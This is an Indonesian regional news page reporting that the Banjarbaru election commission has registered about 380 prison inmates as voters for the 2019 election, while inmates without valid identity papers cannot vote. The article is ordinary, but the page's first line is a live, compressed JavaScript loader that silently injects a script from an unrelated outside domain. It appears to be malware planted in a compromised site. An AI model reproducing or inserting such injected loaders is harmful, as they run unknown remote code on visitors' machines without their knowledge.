(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

380 Penghuni Lapas Banjarbaru Sudah Terdata sebagai Pemilih Pemilu 2019


BANJARBARU, KPU Banjarbaru sudah terima hampir 380 dari 1.600 daftar identitas penghuni lapas di Banjarbaru yang nantinya akan mencoblos di Pemilu 2019. Hal ini disampaikan Komisioner KPU Banjarbaru Muhammad Wahyu NZ, kepada Kanal Kalimantan, Jumat (15/3).

“Untuk penghuni di Lapas Banjarbaru, datanya yang masuk kekita lebih dari 380 orang. Mereka sudah didata dengan dimintakan identitasnya sebagai pembuktian, dan tercantum sebagai daftar pemilih,” terangnya.

Sementara untuk warga di luar Kota Banjarbaru, khususnya yang terdaftar dan mempunyai identitas yang sudah valid, KPU Banjarbaru sendiri sudah membuatkan A5 sebagai metode pindah memilih untuk sebagian penghuni lapas.  “Selain dengan A5 untuk yang wilayah luar Kota Banjarbaru, mereka juga akan kita buatkan TPS Khusus dilapas tersebut,” ujarnya.

Terkait banyaknya penghuni lapas Banjarbaru yang saat ini masih tidak memiliki identitas yang valid seperti tidak memiliki NIK, KTP,KK hingga hanya menggunakan nama samaran, apakah mereka terpaksa harus tidak memilih atau Golput?

“Memang benar masih banyak napi yang masih tidak memiliki identitas yang valid, namun kita sudah memintakan kepada pihak lapas, mungkin saja ada keluarga penghuni lapas yang memegang KK dan KTPnya, itu sudah diusahakan pihak lapas sudah semaksimal mungkin,” jelas Wahyu.

Apabila berbagai upaya sudah dilakukan, penghuni lapas masih tidak ada juga memiliki identitas, padahal mereka ada kemauan untuk memilih. Setiap warga negara ada hak untuk memilih, apakah mereka terpaksa tidak bisa memilih.

“Mereka yang tidak memiliki identitas, saya tidak mengatakan mereka harus golput, KPU Banjarbaru tidak bisa berdiri sendiri memutuskan itu, kami hanya mengikuti Undang-undang, peraturan KPU, dan keputusan KPU, jadi terpaksa memang tidak bisa memilih, karena tidak ada bukti identitasnya,”pungkasnya. (rendy)

Reporter:Rendy
Editor:Cell

Desy Arfianty

Recent Posts

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

27 menit ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

32 menit ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

2 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

2 jam ago

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

16 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

19 jam ago

This website uses cookies.